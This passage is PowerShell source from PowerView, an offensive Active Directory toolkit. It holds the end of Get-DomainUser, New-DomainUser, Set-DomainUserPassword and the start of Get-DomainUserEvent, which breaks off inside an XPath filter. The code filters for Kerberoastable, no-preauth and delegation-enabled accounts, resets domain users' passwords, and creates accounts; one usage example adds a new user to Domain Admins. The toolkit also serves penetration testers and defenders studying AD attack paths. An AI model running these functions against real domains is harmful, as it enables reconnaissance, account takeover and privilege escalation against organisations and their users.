[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.User')]
|
|
[OutputType('PowerView.User.Raw')]
|
|
[CmdletBinding(DefaultParameterSetName = 'Enabled')]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[Switch]
|
|
$SPN,
|
|
|
|
[Switch]
|
|
$AdminCount,
|
|
|
|
[Parameter(ParameterSetName = 'Enabled')]
|
|
[Switch]
|
|
$Enabled,
|
|
|
|
[Parameter(ParameterSetName = 'Disabled')]
|
|
[Switch]
|
|
$Disabled,
|
|
|
|
[Switch]
|
|
$Locked,
|
|
|
|
[Switch]
|
|
$Unlocked,
|
|
|
|
[Switch]
|
|
$PassExpired,
|
|
|
|
[Switch]
|
|
$PassNotExpired,
|
|
|
|
[Switch]
|
|
$AllowDelegation,
|
|
|
|
[Switch]
|
|
$DisallowDelegation,
|
|
|
|
[Switch]
|
|
$NoPassExpiry,
|
|
|
|
[Switch]
|
|
$Unconstrained,
|
|
|
|
[Switch]
|
|
$TrustedToAuth,
|
|
|
|
[Switch]
|
|
$RBCD,
|
|
|
|
[Alias('KerberosPreauthNotRequired', 'NoPreauth')]
|
|
[Switch]
|
|
$PreauthNotRequired,
|
|
|
|
[Switch]
|
|
$PassNotRequired,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$PassLastSet,
|
|
|
|
[Switch]
|
|
$Owner,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
|
|
[String]
|
|
$SecurityMasks,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Alias('ReturnOne')]
|
|
[Switch]
|
|
$FindOne,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$Raw,
|
|
|
|
[Switch]
|
|
$SSL,
|
|
|
|
[Switch]
|
|
$Obfuscate
|
|
)
|
|
|
|
DynamicParam {
|
|
$UACValueNames = [Enum]::GetNames($UACEnum)
|
|
# add in the negations
|
|
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
|
|
# create new dynamic parameter
|
|
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
|
|
}
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
|
|
if ($PSBoundParameters['Owner']) { $SearcherArguments['Properties'] = '*' }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
|
|
if ($PSBoundParameters['Owner']) { $SearcherArguments['SecurityMasks'] = 'Owner' }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
|
|
if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }
|
|
|
|
$PolicyArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $PolicyArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $PolicyArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $PolicyArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Credential']) { $PolicyArguments['Credential'] = $Credential }
|
|
}
|
|
|
|
PROCESS {
|
|
#bind dynamic parameter to a friendly variable
|
|
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
|
|
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
|
|
}
|
|
|
|
$IdentityFilter = ''
|
|
$Filter = ''
|
|
$MaximumAge = $Null
|
|
$Identity | Where-Object {$_} | ForEach-Object {
|
|
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
|
|
if ($IdentityInstance -match '^S-1-') {
|
|
$IdentityFilter += "(objectsid=$IdentityInstance)"
|
|
}
|
|
elseif ($IdentityInstance -match '^CN=') {
|
|
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
|
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
|
|
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
|
|
# and rebuild the domain searcher
|
|
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
|
Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
|
|
$SearcherArguments['Domain'] = $IdentityDomain
|
|
}
|
|
}
|
|
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
|
|
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
|
|
$IdentityFilter += "(objectguid=$GuidByteString)"
|
|
}
|
|
elseif ($IdentityInstance.Contains('\')) {
|
|
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
|
|
if ($ConvertedIdentityInstance) {
|
|
$UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
|
|
$UserName = $IdentityInstance.Split('\')[1]
|
|
$IdentityFilter += "(samAccountName=$UserName)"
|
|
$SearcherArguments['Domain'] = $UserDomain
|
|
Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'"
|
|
}
|
|
}
|
|
else {
|
|
$IdentityFilter += "(samAccountName=$IdentityInstance)"
|
|
}
|
|
}
|
|
|
|
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
|
|
$Filter += "(|$IdentityFilter)"
|
|
}
|
|
|
|
if ($PSBoundParameters['SPN']) {
|
|
Write-Verbose '[Get-DomainUser] Searching for non-null service principal names'
|
|
$Filter += '(servicePrincipalName=*)'
|
|
}
|
|
if ($PSBoundParameters['Enabled']) {
|
|
Write-Verbose '[Get-DomainUser] Searching for users who are enabled'
|
|
# negation of "Accounts that are disabled"
|
|
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=2))'
|
|
}
|
|
if ($PSBoundParameters['Disabled']) {
|
|
Write-Verbose '[Get-DomainUser] Searching for users who are disabled'
|
|
# inclusion of "Accounts that are disabled"
|
|
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=2)'
|
|
}
|
|
if ($PSBoundParameters['Locked']) {
|
|
Write-Verbose '[Get-DomainUser] Searching for users who are locked'
|
|
# need to get the lockout duration from the domain policy
|
|
$Duration = ((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).LockoutDuration
|
|
if ($Duration -eq -1) {
|
|
$LockoutTime = 1
|
|
}
|
|
else {
|
|
$LockoutTime = (Get-Date).AddMinutes(-$Duration).ToFileTimeUtc()
|
|
}
|
|
$Filter += "(lockoutTime>=$LockoutTime)"
|
|
}
|
|
elseif ($PSBoundParameters['Unlocked']) {
|
|
Write-Verbose '[Get-DomainUser] Searching for users who are unlocked'
|
|
# need to get the lockout duration from the domain policy
|
|
$Duration = ((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).LockoutDuration
|
|
if ($Duration -eq -1) {
|
|
$LockoutTime = 1
|
|
}
|
|
else {
|
|
$LockoutTime = (Get-Date).AddMinutes(-$Duration).ToFileTimeUtc()
|
|
}
|
|
$Filter += "(!(lockoutTime>=$LockoutTime))"
|
|
}
|
|
if ($PSBoundParameters['PassExpired']) {
|
|
Write-Verbose '[Get-DomainUser] Ignoring users that have passwords to never expire'
|
|
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=65536))'
|
|
Write-Verbose '[Get-DomainUser] Getting the maximum password age from the domain policy'
|
|
$MaximumAge = [Int]((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).MaximumPasswordAge
|
|
if ($MaximumAge -lt 1) {
|
|
Write-Warning '[Get-DomainUser] Password expiry disabled in domain policy, no users will be returned'
|
|
return
|
|
}
|
|
}
|
|
elseif ($PSBoundParameters['NoPassExpiry']) {
|
|
Write-Verbose '[Get-DomainUser] Searching for users whose passwords never expire'
|
|
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=65536)'
|
|
}
|
|
if ($PSBoundParameters['PassNotExpired']) {
|
|
Write-Verbose "[Get-DomainUser] Getting the maximum password age from the domain policy"
|
|
$MaximumAge = [Int]((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).MaximumPasswordAge
|
|
}
|
|
if ($PSBoundParameters['AllowDelegation']) {
|
|
Write-Verbose '[Get-DomainUser] Searching for users who can be delegated'
|
|
# negation of "Accounts that are sensitive and not trusted for delegation"
|
|
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048576))'
|
|
}
|
|
elseif ($PSBoundParameters['DisallowDelegation']) {
|
|
Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation'
|
|
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048576)'
|
|
}
|
|
if ($PSBoundParameters['Unconstrained']) {
|
|
Write-Verbose '[Get-DomainUser] Searching for users configured for unconstrained delegation'
|
|
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
|
|
}
|
|
if ($PSBoundParameters['AdminCount']) {
|
|
Write-Verbose '[Get-DomainUser] Searching for adminCount=1'
|
|
$Filter += '(admincount=1)'
|
|
}
|
|
if ($PSBoundParameters['TrustedToAuth']) {
|
|
Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals'
|
|
$Filter += '(msds-allowedtodelegateto=*)'
|
|
}
|
|
if ($PSBoundParameters['RBCD']) {
|
|
Write-Verbose '[Get-DomainUser] Searching for users that are configured to allow resource-based constrained delegation'
|
|
$Filter += '(msds-allowedtoactonbehalfofotheridentity=*)'
|
|
}
|
|
if ($PSBoundParameters['PreauthNotRequired']) {
|
|
Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate'
|
|
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
|
|
}
|
|
if ($PSBoundParameters['PassNotRequired']) {
|
|
Write-Verbose '[Get-DomainUser] Searching for user accounts that have PASSWD_NOTREQD set'
|
|
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=32)'
|
|
}
|
|
if ($PSBoundParameters['PassLastSet']) {
|
|
Write-Verbose "[Get-DomainUser] Searching for user accounts that have not had a password change for at least $PSBoundParameters['PassLastSet'] days"
|
|
$PwdDate = (Get-Date).AddDays(-$PSBoundParameters['PassLastSet']).ToFileTime()
|
|
$Filter += "(pwdlastset<=$PwdDate)"
|
|
}
|
|
|
|
if ($PSBoundParameters['LDAPFilter']) {
|
|
Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter"
|
|
$Filter += "$LDAPFilter"
|
|
}
|
|
|
|
# build the LDAP filter for the dynamic UAC filter value
|
|
$UACFilter | Where-Object {$_} | ForEach-Object {
|
|
if ($_ -match 'NOT_.*') {
|
|
$UACField = $_.Substring(4)
|
|
$UACValue = [Int]($UACEnum::$UACField)
|
|
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
|
|
}
|
|
else {
|
|
$UACValue = [Int]($UACEnum::$_)
|
|
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
|
|
}
|
|
}
|
|
|
|
Write-Verbose "[Get-DomainUser] filter string: (&(samAccountType=805306368)$Filter"
|
|
|
|
$Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "(&(samAccountType=805306368)$Filter)"
|
|
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {
|
|
$Prop = @{}
|
|
foreach ($a in $_.Attributes.Keys | Sort-Object) {
|
|
if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor') -or ($a -eq 'logonhours')) {
|
|
$Prop[$a] = $_.Attributes[$a]
|
|
}
|
|
else {
|
|
$Values = @()
|
|
foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {
|
|
$Values += [System.Text.Encoding]::UTF8.GetString($v)
|
|
}
|
|
$Prop[$a] = $Values
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
$Prop = $_.Properties
|
|
}
|
|
|
|
$Continue = $True
|
|
if ($PSBoundParameters['PassExpired']) {
|
|
if ($MaximumAge -gt 0) {
|
|
$PwdLastSet = $Prop.pwdlastset[0]
|
|
if ($PwdLastSet -eq 0) {
|
|
$PwdLastSet = $Prop.whencreated[0]
|
|
}
|
|
$ExpireTime = (Get-Date).AddDays(-$MaximumAge).ToFileTimeUtc()
|
|
if ($PwdLastSet -gt $ExpireTime) {
|
|
$Continue = $False
|
|
}
|
|
}
|
|
else {
|
|
$Continue = $False
|
|
}
|
|
}
|
|
elseif ($PSBoundParameters['PassNotExpired'] -and (($Prop.useraccountcontrol[0] -band 65536) -ne 65536)) {
|
|
if ($MaximumAge -gt 0) {
|
|
$PwdLastSet = $Prop.pwdlastset[0]
|
|
if ($PwdLastSet -eq 0) {
|
|
$PwdLastSet = $Prop.whencreated[0]
|
|
}
|
|
$ExpireTime = (Get-Date).AddDays(-$MaximumAge).ToFileTimeUtc()
|
|
if ($PwdLastSet -le $ExpireTime) {
|
|
$Continue = $False
|
|
}
|
|
}
|
|
}
|
|
if ($Continue) {
|
|
if ($PSBoundParameters['Raw']) {
|
|
# return raw result objects
|
|
$User = $_
|
|
$User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw')
|
|
}
|
|
else {
|
|
$User = Convert-LDAPProperty -Properties $Prop
|
|
$User.PSObject.TypeNames.Insert(0, 'PowerView.User')
|
|
}
|
|
$User
|
|
}
|
|
}
|
|
if ($Results) {
|
|
try { $Results.dispose() }
|
|
catch { }
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function New-DomainUser {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Creates a new domain user (assuming appropriate permissions) and returns the user object.
|
|
|
|
TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx).
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-PrincipalContext
|
|
|
|
.DESCRIPTION
|
|
|
|
First binds to the specified domain context using Get-PrincipalContext.
|
|
The bound domain context is then used to create a new
|
|
DirectoryServices.AccountManagement.UserPrincipal with the specified user properties.
|
|
|
|
.PARAMETER SamAccountName
|
|
|
|
Specifies the Security Account Manager (SAM) account name of the user to create.
|
|
Maximum of 256 characters. Mandatory.
|
|
|
|
.PARAMETER AccountPassword
|
|
|
|
Specifies the password for the created user. Mandatory.
|
|
|
|
.PARAMETER Name
|
|
|
|
Specifies the name of the user to create. If not provided, defaults to SamAccountName.
|
|
|
|
.PARAMETER DisplayName
|
|
|
|
Specifies the display name of the user to create. If not provided, defaults to SamAccountName.
|
|
|
|
.PARAMETER Description
|
|
|
|
Specifies the description of the user to create.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use to search for user/group principals, defaults to the current domain.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword
|
|
|
|
Creates the 'harmj0y2' user with the specified description and password.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred
|
|
|
|
Creates the 'harmj0y2' user with the specified description and password, using the specified
|
|
alternate credentials.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred
|
|
|
|
Creates the 'andy' user with the specified description and password, using the specified
|
|
alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember
|
|
and the alternate credentials.
|
|
|
|
.OUTPUTS
|
|
|
|
DirectoryServices.AccountManagement.UserPrincipal
|
|
|
|
.LINK
|
|
|
|
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
|
|
Param(
|
|
[Parameter(Mandatory = $True)]
|
|
[ValidateLength(0, 256)]
|
|
[String]
|
|
$SamAccountName,
|
|
|
|
[Parameter(Mandatory = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Password')]
|
|
[Security.SecureString]
|
|
$AccountPassword,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Name,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$DisplayName,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Description,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
$ContextArguments = @{
|
|
'Identity' = $SamAccountName
|
|
}
|
|
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
|
|
$Context = Get-PrincipalContext @ContextArguments
|
|
|
|
if ($Context) {
|
|
$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context)
|
|
|
|
# set all the appropriate user parameters
|
|
$User.SamAccountName = $Context.Identity
|
|
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
|
|
$User.SetPassword($TempCred.GetNetworkCredential().Password)
|
|
$User.Enabled = $True
|
|
$User.PasswordNotRequired = $False
|
|
|
|
if ($PSBoundParameters['Name']) {
|
|
$User.Name = $Name
|
|
}
|
|
else {
|
|
$User.Name = $Context.Identity
|
|
}
|
|
if ($PSBoundParameters['DisplayName']) {
|
|
$User.DisplayName = $DisplayName
|
|
}
|
|
else {
|
|
$User.DisplayName = $Context.Identity
|
|
}
|
|
|
|
if ($PSBoundParameters['Description']) {
|
|
$User.Description = $Description
|
|
}
|
|
|
|
Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'"
|
|
try {
|
|
$Null = $User.Save()
|
|
Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created"
|
|
$User
|
|
}
|
|
catch {
|
|
Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_"
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Set-DomainUserPassword {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Sets the password for a given user identity.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-PrincipalContext
|
|
|
|
.DESCRIPTION
|
|
|
|
First binds to the specified domain context using Get-PrincipalContext.
|
|
The bound domain context is then used to search for the specified user -Identity,
|
|
which returns a DirectoryServices.AccountManagement.UserPrincipal object. The
|
|
SetPassword() function is then invoked on the user, setting the password to -AccountPassword.
|
|
|
|
.PARAMETER Identity
|
|
|
|
A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
|
|
specifying the user to reset the password for.
|
|
|
|
.PARAMETER AccountPassword
|
|
|
|
Specifies the password to reset the target user's to. Mandatory.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use to search for the user identity, defaults to the current domain.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword
|
|
|
|
Resets the password for 'andy' to the password specified.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred
|
|
|
|
Resets the password for 'andy' usering the alternate credentials specified.
|
|
|
|
.OUTPUTS
|
|
|
|
DirectoryServices.AccountManagement.UserPrincipal
|
|
|
|
.LINK
|
|
|
|
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
|
|
Param(
|
|
[Parameter(Position = 0, Mandatory = $True)]
|
|
[Alias('UserName', 'UserIdentity', 'User')]
|
|
[String]
|
|
$Identity,
|
|
|
|
[Parameter(Mandatory = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Password')]
|
|
[Security.SecureString]
|
|
$AccountPassword,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
$ContextArguments = @{ 'Identity' = $Identity }
|
|
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
|
|
$Context = Get-PrincipalContext @ContextArguments
|
|
|
|
if ($Context) {
|
|
$User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity)
|
|
|
|
if ($User) {
|
|
Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'"
|
|
try {
|
|
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
|
|
$User.SetPassword($TempCred.GetNetworkCredential().Password)
|
|
|
|
$Null = $User.Save()
|
|
Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset"
|
|
}
|
|
catch {
|
|
Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_"
|
|
}
|
|
}
|
|
else {
|
|
Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'"
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainUserEvent {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Enumerate account logon events (ID 4624) and Logon with explicit credential
|
|
events (ID 4648) from the specified host (default of the localhost).
|
|
|
|
Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
This function uses an XML path filter passed to Get-WinEvent to retrieve
|
|
security events with IDs of 4624 (logon events) or 4648 (explicit credential
|
|
logon events) from -StartTime (default of now-1 day) to -EndTime (default of now).
|
|
A maximum of -MaxEvents (default of 5000) are returned.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies the computer name to retrieve events from, default of localhost.
|
|
|
|
.PARAMETER StartTime
|
|
|
|
The [DateTime] object representing the start of when to collect events.
|
|
Default of [DateTime]::Now.AddDays(-1).
|
|
|
|
.PARAMETER EndTime
|
|
|
|
The [DateTime] object representing the end of when to collect events.
|
|
Default of [DateTime]::Now.
|
|
|
|
.PARAMETER MaxEvents
|
|
|
|
The maximum number of events to retrieve. Default of 5000.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target computer.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainUserEvent
|
|
|
|
Return logon events on the local machine.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3))
|
|
|
|
Return all logon events from the last 3 days from every domain controller in the current domain.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000
|
|
|
|
Return a max of 1000 logon events from the specified machine using the specified alternate credentials.
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.LogonEvent
|
|
|
|
PowerView.ExplicitCredentialLogonEvent
|
|
|
|
.LINK
|
|
|
|
http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.LogonEvent')]
|
|
[OutputType('PowerView.ExplicitCredentialLogonEvent')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('dnshostname', 'HostName', 'name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ComputerName = $Env:COMPUTERNAME,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[DateTime]
|
|
$StartTime = [DateTime]::Now.AddDays(-1),
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[DateTime]
|
|
$EndTime = [DateTime]::Now,
|
|
|
|
[ValidateRange(1, 1000000)]
|
|
[Int]
|
|
$MaxEvents = 5000,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
# the XML filter we're passing to Get-WinEvent
|
|
$XPathFilter = @"
|
|
<QueryList>
|
|
<Query Id="0" Path="Security">
|
|
|
|
<!-- Logon events -->
|
|
<Select Path="Security">
|
|
*[
|
|
System[
|
|
Provider[
|
|
@Name='Microsoft-Windows-Security-Auditing'
|
|
]
|
|
and (Level=4 or Level=0) and (EventID=4624)
|
|
and TimeCreated[
|
|
@SystemTime>='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime<='$($EndTime.ToUniversalTime().ToString('s'))'
|
|
]
|
|
]
|
|
]
|
|
and
|
|
*[EventData[Data[@Name='TargetUserName'] != 'ANONYMOUS LOGON']]
|
|
</Select>
|
|
|
|
<!-- Logon with explicit credential events -->
|
|
<Select Path="Security">
|
|
*[
|
|
System[
|
|
Provider[
|
|
